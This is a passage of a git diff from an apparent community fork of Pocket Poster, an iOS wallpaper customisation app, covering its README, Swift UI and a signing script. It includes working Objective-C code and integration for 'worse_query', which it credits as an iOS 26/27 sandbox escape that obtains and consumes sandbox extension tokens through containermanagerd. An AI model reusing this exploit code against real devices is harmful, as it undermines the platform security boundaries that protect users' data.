if ([files createSymbolicLinkAtPath: caches withDestinationPath: target error: nil] == false) {
|
||||||
|
dlclose(mgr);
|
||||||
|
return -4; // Failed to create symlink
|
||||||
|
}
|
||||||
|
|
||||||
|
// Send our query over
|
||||||
|
void *result = query_get_single_result(query);
|
||||||
|
if (!result) {
|
||||||
|
query_free(query);
|
||||||
|
dlclose(mgr);
|
||||||
|
clean_symlink(group);
|
||||||
|
return -5; // Query rejected by containermanagerd
|
||||||
|
}
|
||||||
|
char *token = copy_sandbox_token(result);
|
||||||
|
if (!token) {
|
||||||
|
query_free(query);
|
||||||
|
dlclose(mgr);
|
||||||
|
clean_symlink(group);
|
||||||
|
return -6; // Kernel refused to issue a sandbox extension
|
||||||
|
}
|
||||||
|
|
||||||
|
// Consume sandbox extension and clean up
|
||||||
|
int64_t handle = consume_extension(token);
|
||||||
|
query_free(query);
|
||||||
|
free(token);
|
||||||
|
dlclose(mgr);
|
||||||
|
clean_symlink(group);
|
||||||
|
|
||||||
|
return handle;
|
||||||
|
}
|
||||||
|
|
||||||
|
// You should probably call this when you're done
|
||||||
|
void worse_query_release(int64_t handle) {
|
||||||
|
if (handle < 0) return;
|
||||||
|
sandbox_extension_release_fn release_extension = (sandbox_extension_release_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_release");
|
||||||
|
if (release_extension) release_extension(handle);
|
||||||
|
}
|
||||||
@@ -84,5 +84,11 @@ struct Pocket_PosterApp: App {
|
|||||||
init() {
|
init() {
|
||||||
// clear the videos cache
|
// clear the videos cache
|
||||||
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory))
|
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory))
|
||||||
|
|
||||||
|
if SelfTest.isEnabled {
|
||||||
|
DispatchQueue.global(qos: .userInitiated).async {
|
||||||
|
SelfTest.run()
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -58,12 +58,12 @@ struct ContentView: View {
|
|||||||
}
|
}
|
||||||
|
|
||||||
Section {
|
Section {
|
||||||
if pbHash == "" && !SymHandler.prefersBadQuery {
|
if pbHash == "" && !SymHandler.prefersSandboxEscape {
|
||||||
Text("Enter your PosterBoard app hash in Settings.")
|
Text("Enter your PosterBoard app hash in Settings.")
|
||||||
} else {
|
} else {
|
||||||
VStack {
|
VStack {
|
||||||
if pbHash == "" && SymHandler.prefersBadQuery {
|
if pbHash == "" && SymHandler.prefersSandboxEscape {
|
||||||
Text("No hash set — will auto-detect via bad_query on Apply.")
|
Text("No hash set — will auto-detect via worse_query on Apply.")
|
||||||
.font(.caption)
|
.font(.caption)
|
||||||
.foregroundStyle(.secondary)
|
.foregroundStyle(.secondary)
|
||||||
}
|
}
|
||||||
@@ -77,7 +77,7 @@ struct ContentView: View {
|
|||||||
var hash = pbHash
|
var hash = pbHash
|
||||||
if hash.isEmpty {
|
if hash.isEmpty {
|
||||||
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…")
|
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…")
|
||||||
hash = try BadQuery.findPosterBoardHash()
|
hash = try SandboxEscape.findPosterBoardHash()
|
||||||
DispatchQueue.main.async { pbHash = hash }
|
DispatchQueue.main.async { pbHash = hash }
|
||||||
}
|
}
|
||||||
try pbManager.applyTendies(appHash: hash)
|
try pbManager.applyTendies(appHash: hash)
|
||||||
@@ -108,8 +108,8 @@ struct ContentView: View {
|
|||||||
Button(action: {
|
Button(action: {
|
||||||
UIApplication.shared.confirmAlert(
|
UIApplication.shared.confirmAlert(
|
||||||
title: NSLocalizedString("Reset Collections", comment: ""),
|
title: NSLocalizedString("Reset Collections", comment: ""),
|
||||||
body: SymHandler.prefersBadQuery
|
body: SymHandler.prefersSandboxEscape
|
||||||
? "This will wipe custom PosterBoard descriptors via bad_query, then respring."
|
? "This will wipe custom PosterBoard descriptors via worse_query, then respring."
|
||||||
: NSLocalizedString("Do you want to reset collections?", comment: ""),
|
: NSLocalizedString("Do you want to reset collections?", comment: ""),
|
||||||
onOK: {
|
onOK: {
|
||||||
UIApplication.shared.alert(
|
UIApplication.shared.alert(
|
||||||
@@ -121,8 +121,8 @@ struct ContentView: View {
|
|||||||
DispatchQueue.global(qos: .userInitiated).async {
|
DispatchQueue.global(qos: .userInitiated).async {
|
||||||
do {
|
do {
|
||||||
var hash = pbHash
|
var hash = pbHash
|
||||||
if hash.isEmpty && SymHandler.prefersBadQuery {
|
if hash.isEmpty && SymHandler.prefersSandboxEscape {
|
||||||
hash = try BadQuery.findPosterBoardHash()
|
hash = try SandboxEscape.findPosterBoardHash()
|
||||||
DispatchQueue.main.async { pbHash = hash }
|
DispatchQueue.main.async { pbHash = hash }
|
||||||
}
|
}
|
||||||
guard !hash.isEmpty else {
|
guard !hash.isEmpty else {
|
||||||
|
|||||||
@@ -30,16 +30,18 @@ struct SettingsView: View {
|
|||||||
.font(.system(.body, design: .monospaced))
|
.font(.system(.body, design: .monospaced))
|
||||||
}
|
}
|
||||||
|
|
||||||
if SymHandler.prefersBadQuery {
|
if SymHandler.prefersSandboxEscape {
|
||||||
Text("bad_query available — on-device detect works (no PC).")
|
Text(SandboxEscape.isUsingWorseQuery
|
||||||
|
? "worse_query available — on-device detect works (no PC). App Group: \(SandboxEscape.appGroupIdentifier ?? "unknown")"
|
||||||
|
: "bad_query fallback available (iOS 26) — on-device detect works (no PC).")
|
||||||
.font(.caption)
|
.font(.caption)
|
||||||
.foregroundStyle(.secondary)
|
.foregroundStyle(.secondary)
|
||||||
}
|
}
|
||||||
|
|
||||||
HStack {
|
HStack {
|
||||||
Spacer()
|
Spacer()
|
||||||
// On-device detect via bad_query (iOS 26/27)
|
// On-device detect via worse_query (iOS 26/27)
|
||||||
if SymHandler.prefersBadQuery {
|
if SymHandler.prefersSandboxEscape {
|
||||||
Button(action: {
|
Button(action: {
|
||||||
detectOnDevice()
|
detectOnDevice()
|
||||||
}) {
|
}) {
|
||||||
@@ -63,7 +65,7 @@ struct SettingsView: View {
|
|||||||
}
|
}
|
||||||
startWaitForHash()
|
startWaitForHash()
|
||||||
}) {
|
}) {
|
||||||
Text(SymHandler.prefersBadQuery ? "Detect via Nugget" : "Detect")
|
Text(SymHandler.prefersSandboxEscape ? "Wait for Nugget" : "Detect")
|
||||||
}
|
}
|
||||||
.foregroundStyle(.green)
|
.foregroundStyle(.green)
|
||||||
.onChange(of: checkingForHash) { _ in
|
.onChange(of: checkingForHash) { _ in
|
||||||
@@ -161,12 +163,12 @@ struct SettingsView: View {
|
|||||||
|
|
||||||
// MARK: Credits
|
// MARK: Credits
|
||||||
Section {
|
Section {
|
||||||
LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "bad_query port · iOS 27 build", circle: true)
|
LinkCell(imageName: "Mak5er", url: "https://github.com/Mak5er", title: "Mak5er", contribution: "worse_query port · iOS 27.2 build", circle: true)
|
||||||
LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true)
|
LinkCell(imageName: "leminlimez", url: "https://github.com/leminlimez", title: "LeminLimez", contribution: NSLocalizedString("Main Developer", comment: "leminlimez's contribution"), circle: true)
|
||||||
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true)
|
LinkCell(imageName: "serstars", url: "https://github.com/SerStars", title: "SerStars", contribution: NSLocalizedString("Website Designer", comment: ""), circle: true)
|
||||||
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
|
LinkCell(imageName: "Nathan", url: "https://github.com/verygenericname", title: "Nathan", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
|
||||||
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
|
LinkCell(imageName: "duy", url: "https://github.com/khanhduytran0", title: "DuyKhanhTran", contribution: NSLocalizedString("Exploit (.Trash)", comment: ""), circle: true)
|
||||||
LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/bad_query", title: "forcequitOS", contribution: "bad_query (iOS 26/27)", circle: false)
|
LinkCell(imageName: "sky", url: "https://github.com/forcequitOS/worse_query", title: "forcequitOS", contribution: "worse_query (iOS 26/27)", circle: false)
|
||||||
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true)
|
LinkCell(imageName: "sky", url: "https://bsky.app/profile/did:plc:xykfeb7ieeo335g3aly6vev4", title: "dootskyre", contribution: NSLocalizedString("Fallback Shortcut Creator", comment: ""), circle: true)
|
||||||
LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor")
|
LinkCell(imageName: "POEditor", url: "https://poeditor.com/join/project/MPZOsunwVj", title: NSLocalizedString("Community Translators", comment: ""), contribution: "POEditor")
|
||||||
} header: {
|
} header: {
|
||||||
@@ -175,12 +177,12 @@ struct SettingsView: View {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Scan containers on-device with bad_query / fsgetpath — no computer needed.
|
/// Scan containers on-device with worse_query / fsgetpath — no computer needed.
|
||||||
func detectOnDevice() {
|
func detectOnDevice() {
|
||||||
detectingOnDevice = true
|
detectingOnDevice = true
|
||||||
UIApplication.shared.alert(
|
UIApplication.shared.alert(
|
||||||
title: "Scanning containers…",
|
title: "Scanning containers…",
|
||||||
body: "Looking for PosterBoard via bad_query. This may take a moment.",
|
body: "Looking for PosterBoard via worse_query. This may take a moment.",
|
||||||
animated: true,
|
animated: true,
|
||||||
withButton: false
|
withButton: false
|
||||||
)
|
)
|
||||||
@@ -191,13 +193,13 @@ struct SettingsView: View {
|
|||||||
var errMsg: String?
|
var errMsg: String?
|
||||||
|
|
||||||
do {
|
do {
|
||||||
pb = try BadQuery.findPosterBoardHash()
|
pb = try SandboxEscape.findPosterBoardHash()
|
||||||
} catch {
|
} catch {
|
||||||
errMsg = error.localizedDescription
|
errMsg = error.localizedDescription
|
||||||
}
|
}
|
||||||
|
|
||||||
if CarPlayManager.supportsCarPlay() {
|
if CarPlayManager.supportsCarPlay() {
|
||||||
cp = try? BadQuery.findCarPlayHash()
|
cp = try? SandboxEscape.findCarPlayHash()
|
||||||
}
|
}
|
||||||
|
|
||||||
// Always show a closeable result alert (loading alert has no OK button —
|
// Always show a closeable result alert (loading alert has no OK button —
|
||||||
|
|||||||
@@ -4,33 +4,32 @@
|
|||||||
|
|
||||||
<div align="center">
|
<div align="center">
|
||||||
<h1><b>Pocket Poster</b></h1>
|
<h1><b>Pocket Poster</b></h1>
|
||||||
<p><i>Custom PosterBoard Wallpapers for iOS 17+ · bad_query for iOS 26–27.0b4</i></p>
|
<p><i>Custom PosterBoard Wallpapers for iOS 17+ · worse_query for iOS 26–27.2</i></p>
|
||||||
<p>Maintained / iOS 27 port by <a href="https://github.com/Mak5er"><b>Mak5er</b></a></p>
|
<p>Original project by <a href="https://github.com/leminlimez"><b>leminlimez</b></a> · bad_query port by <a href="https://github.com/Mak5er"><b>Mak5er</b></a> · worse_query port by <a href="https://git.jbjflab.top/admin"><b>admin</b></a></p>
|
||||||
<a href="https://celloserenity.github.io/altdirect/?url=https://raw.githubusercontent.com/SerStars/Nugget-Wallpapers/refs/heads/main/other/pocketposter_source.json" target="_blank">
|
|
||||||
<img src="https://raw.githubusercontent.com/CelloSerenity/altdirect/refs/heads/main/assets/png/AltSource_White.png" width="150">
|
|
||||||
</a>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
## Origin
|
||||||
|
|
||||||
|
This repository is a fork of [**Mak5er/Pocket-Poster**](https://github.com/Mak5er/Pocket-Poster) on GitHub, which in turn is a fork of the original [**leminlimez/Pocket-Poster**](https://github.com/leminlimez/Pocket-Poster). The `worse_query` port, iOS 27.2 support, and the releases published here are maintained by [admin](https://git.jbjflab.top/admin).
|
||||||
|
|
||||||
## Download
|
## Download
|
||||||
|
|
||||||
Latest IPA: [**Releases**](https://github.com/Mak5er/Pocket-Poster/releases/latest)
|
Latest IPA: [**Releases**](https://git.jbjflab.top/admin/Pocket-Poster/releases)
|
||||||
|
|
||||||
CI builds an unsigned IPA on every push to `main` and publishes a GitHub Release when you push a tag like `v3.2.2` (or run **Release IPA** from Actions).
|
Build an unsigned IPA locally with `./ipabuild.sh`, then sign it with a provisioning profile that includes an **App Group** before installing.
|
||||||
|
|
||||||
```bash
|
|
||||||
# cut a release from your machine
|
|
||||||
git tag v3.2.2 && git push origin v3.2.2
|
|
||||||
```
|
|
||||||
|
|
||||||
## Getting Started
|
## Getting Started
|
||||||
|
|
||||||
### iOS 26 / 27.0b4 (bad_query)
|
### iOS 26 / 27.2 (worse_query)
|
||||||
On versions where [bad_query][badQueryGitHub] works, **no computer is required**:
|
On versions where [worse_query][worseQueryGitHub] works (iOS 26.0–26.7.2 and 27.0–27.2.x), **no computer is required**. The app must be signed with a provisioning profile that contains an **App Group** — worse_query uses that container to place its symlink and obtain the sandbox extension. Signed IPAs produced with the included `sign_personal.sh` already carry the profile's App Groups.
|
||||||
1. Install the IPA (sideload with TrollStore / SideStore / etc.).
|
|
||||||
|
1. Install the IPA (sideload with your signer of choice; the profile needs an App Group).
|
||||||
2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects).
|
2. Settings → **Detect On-Device** (or just hit Apply — hash auto-detects).
|
||||||
3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard).
|
3. Select tendies / video → **Apply** → device does a **full respring** (Frontboard + Backboard).
|
||||||
|
|
||||||
**Reset Collections** wipes PosterBoard descriptors via bad_query, then full resprings the same way.
|
If no App Group entitlement is present the app reports it explicitly; on iOS 26 the legacy bad_query route is used as a fallback.
|
||||||
|
|
||||||
|
**Reset Collections** wipes PosterBoard descriptors via worse_query, then full resprings the same way.
|
||||||
|
|
||||||
### Older iOS (legacy .Trash exploit)
|
### Older iOS (legacy .Trash exploit)
|
||||||
You will need a computer to get the App Hash/UUID.
|
You will need a computer to get the App Hash/UUID.
|
||||||
@@ -43,13 +42,13 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun
|
|||||||
<br>Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help.
|
<br>Join the [Cowabunga Discord Server][CowabungaDiscord] for additional help.
|
||||||
|
|
||||||
## Credits
|
## Credits
|
||||||
- **[Mak5er][Mak5erGitHub]** — bad_query integration, iOS 27 port, full respring, on-device detect
|
- **[Mak5er][Mak5erGitHub]** — worse_query integration, iOS 27.2 port, full respring, on-device detect
|
||||||
- [LeminLimez][LeminGitHub] — original Pocket Poster
|
- [LeminLimez][LeminGitHub] — original Pocket Poster
|
||||||
- Translations crowdsourced using [POEditor][POEditorJoin]
|
- Translations crowdsourced using [POEditor][POEditorJoin]
|
||||||
- [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard
|
- [PosterRestore][PosterRestoreDiscord] for their help with PosterBoard
|
||||||
- [dootskyre][dootskyreX] for the fallback shortcut
|
- [dootskyre][dootskyreX] for the fallback shortcut
|
||||||
- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit
|
- [Nathan][NathanGitHub] and [DuyKhanhTran][DuyKhanhTranGitHub] for the .Trash exploit
|
||||||
- [forcequitOS][badQueryGitHub] for bad_query (iOS 26/27 sandbox escape)
|
- [forcequitOS][worseQueryGitHub] for worse_query (iOS 26/27 sandbox escape)
|
||||||
- [SerStars][SerStarsX] for creating the website
|
- [SerStars][SerStarsX] for creating the website
|
||||||
|
|
||||||
[CowabungaWallpapersPage]: https://cowabun.ga/wallpapers
|
[CowabungaWallpapersPage]: https://cowabun.ga/wallpapers
|
||||||
@@ -65,3 +64,4 @@ Community-made wallpapers can be found on the [official Cowabun.ga site][Cowabun
|
|||||||
[DuyKhanhTranGitHub]: https://github.com/khanhduytran0
|
[DuyKhanhTranGitHub]: https://github.com/khanhduytran0
|
||||||
[SerStarsX]: https://x.com/SerStars
|
[SerStarsX]: https://x.com/SerStars
|
||||||
[badQueryGitHub]: https://github.com/forcequitOS/bad_query
|
[badQueryGitHub]: https://github.com/forcequitOS/bad_query
|
||||||
|
[worseQueryGitHub]: https://github.com/forcequitOS/worse_query
|
||||||
Executable
+122
@@ -0,0 +1,122 @@
|
|||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# Sign an unsigned Pocket Poster IPA with an Apple Distribution certificate
|
||||||
|
# and an ad-hoc provisioning profile that contains App Groups.
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# ./sign_personal.sh <unsigned.ipa> <cert.p12> <p12-password> <profile.mobileprovision> [output.ipa]
|
||||||
|
#
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
if [ $# -lt 4 ]; then
|
||||||
|
echo "usage: $0 <unsigned.ipa> <cert.p12> <p12-password> <profile.mobileprovision> [output.ipa]" >&2
|
||||||
|
exit 64
|
||||||
|
fi
|
||||||
|
|
||||||
|
IPA="$1"
|
||||||
|
P12="$2"
|
||||||
|
P12_PASS="$3"
|
||||||
|
PROFILE="$4"
|
||||||
|
OUT="${5:-$(pwd)/Pocket_Poster-personal.ipa}"
|
||||||
|
|
||||||
|
for f in "$IPA" "$P12" "$PROFILE"; do
|
||||||
|
[ -f "$f" ] || { echo "missing file: $f" >&2; exit 66; }
|
||||||
|
done
|
||||||
|
|
||||||
|
WORK="$(mktemp -d "${TMPDIR:-/tmp}/pocket-sign.XXXXXX")"
|
||||||
|
KC_NAME="pocket-sign-$$-$(date +%s)"
|
||||||
|
KC_PATH="$HOME/Library/Keychains/$KC_NAME-db"
|
||||||
|
KC_PASS="$(uuidgen)"
|
||||||
|
|
||||||
|
ORIG_DEFAULT="$(security default-keychain -d user | sed -e 's/^ *"//' -e 's/"$//')"
|
||||||
|
ORIG_KC_LIST=()
|
||||||
|
while IFS= read -r line; do
|
||||||
|
line="$(echo "$line" | sed -e 's/^ *"//' -e 's/"$//')"
|
||||||
|
[ -n "$line" ] && ORIG_KC_LIST+=("$line")
|
||||||
|
done < <(security list-keychains -d user)
|
||||||
|
|
||||||
|
cleanup() {
|
||||||
|
set +e
|
||||||
|
if [ -n "${ORIG_DEFAULT:-}" ]; then
|
||||||
|
security default-keychain -d user -s "$ORIG_DEFAULT" >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
if [ ${#ORIG_KC_LIST[@]} -gt 0 ]; then
|
||||||
|
security list-keychains -d user -s "${ORIG_KC_LIST[@]}" >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
security delete-keychain "$KC_NAME" >/dev/null 2>&1
|
||||||
|
rm -rf "$WORK"
|
||||||
|
}
|
||||||
|
trap cleanup EXIT
|
||||||
|
|
||||||
|
echo "[*] Creating temporary keychain"
|
||||||
|
security create-keychain -p "$KC_PASS" "$KC_NAME"
|
||||||
|
security set-keychain-settings -lut 21600 "$KC_NAME"
|
||||||
|
security unlock-keychain -p "$KC_PASS" "$KC_NAME"
|
||||||
|
|
||||||
|
echo "[*] Importing signing identity"
|
||||||
|
# Security.framework's PKCS#12 importer rejects this (legacy-encoded) p12,
|
||||||
|
# so convert it to an unencrypted PEM bundle and import that instead.
|
||||||
|
openssl pkcs12 -in "$P12" -passin "pass:$P12_PASS" -nodes -out "$WORK/identity.pem" >/dev/null 2>&1
|
||||||
|
security import "$WORK/identity.pem" -k "$KC_NAME" -T /usr/bin/codesign >/dev/null
|
||||||
|
|
||||||
|
# Bring the WWDR intermediate into the temporary keychain so codesign can
|
||||||
|
# embed the full chain.
|
||||||
|
{
|
||||||
|
security find-certificate -a -c "Apple Worldwide Developer Relations" -p "$HOME/Library/Keychains/login.keychain-db" 2>/dev/null
|
||||||
|
security find-certificate -a -c "Apple Worldwide Developer Relations" -p /Library/Keychains/System.keychain 2>/dev/null
|
||||||
|
} > "$WORK/wwdr.pem"
|
||||||
|
if [ -s "$WORK/wwdr.pem" ]; then
|
||||||
|
security import "$WORK/wwdr.pem" -k "$KC_NAME" >/dev/null 2>&1 || true
|
||||||
|
fi
|
||||||
|
|
||||||
|
security set-key-partition-list -S apple-tool:,apple:,codesign: -s -k "$KC_PASS" "$KC_NAME" >/dev/null
|
||||||
|
security default-keychain -d user -s "$KC_PATH"
|
||||||
|
security list-keychains -d user -s "$KC_PATH" "${ORIG_KC_LIST[@]}"
|
||||||
|
security unlock-keychain -p "$KC_PASS" "$KC_NAME"
|
||||||
|
|
||||||
|
IDENTITY="$(security find-identity -v -p codesigning | awk '/Apple Distribution|Apple Development/ {print $2; exit}')"
|
||||||
|
if [ -z "${IDENTITY:-}" ]; then
|
||||||
|
echo "no code signing identity found in $P12" >&2
|
||||||
|
security find-identity -v -p codesigning >&2
|
||||||
|
exit 65
|
||||||
|
fi
|
||||||
|
echo "[*] Identity: $IDENTITY"
|
||||||
|
|
||||||
|
echo "[*] Extracting provisioning profile"
|
||||||
|
security cms -D -i "$PROFILE" > "$WORK/profile.plist"
|
||||||
|
plutil -extract Entitlements xml1 -o "$WORK/entitlements.plist" "$WORK/profile.plist"
|
||||||
|
|
||||||
|
APP_ID="$(/usr/libexec/PlistBuddy -c 'Print :application-identifier' "$WORK/entitlements.plist")"
|
||||||
|
BUNDLE_ID="${APP_ID#*.}"
|
||||||
|
if [ -n "${BUNDLE_ID_OVERRIDE:-}" ]; then
|
||||||
|
BUNDLE_ID="$BUNDLE_ID_OVERRIDE"
|
||||||
|
fi
|
||||||
|
echo "[*] Bundle ID: $BUNDLE_ID"
|
||||||
|
|
||||||
|
echo "[*] Unpacking IPA"
|
||||||
|
ditto -x -k "$IPA" "$WORK/unpacked"
|
||||||
|
APP="$(find "$WORK/unpacked/Payload" -maxdepth 1 -name '*.app' -type d | head -1)"
|
||||||
|
[ -n "${APP:-}" ] && [ -d "$APP" ] || { echo "no .app inside IPA" >&2; exit 66; }
|
||||||
|
echo "[*] App: $(basename "$APP")"
|
||||||
|
|
||||||
|
/usr/libexec/PlistBuddy -c "Set :CFBundleIdentifier $BUNDLE_ID" "$APP/Info.plist"
|
||||||
|
cp "$PROFILE" "$APP/embedded.mobileprovision"
|
||||||
|
|
||||||
|
echo "[*] Signing"
|
||||||
|
codesign --force --sign "$IDENTITY" \
|
||||||
|
--entitlements "$WORK/entitlements.plist" \
|
||||||
|
--timestamp=none \
|
||||||
|
"$APP"
|
||||||
|
|
||||||
|
echo "[*] Verifying"
|
||||||
|
codesign --verify --deep --strict --verbose=2 "$APP"
|
||||||
|
codesign -d --entitlements :- "$APP" 2>/dev/null | plutil -p - | grep -A6 "com.apple.security.application-groups" || true
|
||||||
|
|
||||||
|
echo "[*] Packaging"
|
||||||
|
rm -f "$OUT"
|
||||||
|
mkdir -p "$WORK/out/Payload"
|
||||||
|
ditto "$APP" "$WORK/out/Payload/$(basename "$APP")"
|
||||||
|
( cd "$WORK/out" && zip -qry "$OUT" Payload )
|
||||||
|
|
||||||
|
echo "[*] Wrote $OUT"
|
||||||
|
ls -lh "$OUT"
|
||||||
Reference in new issue
Block a user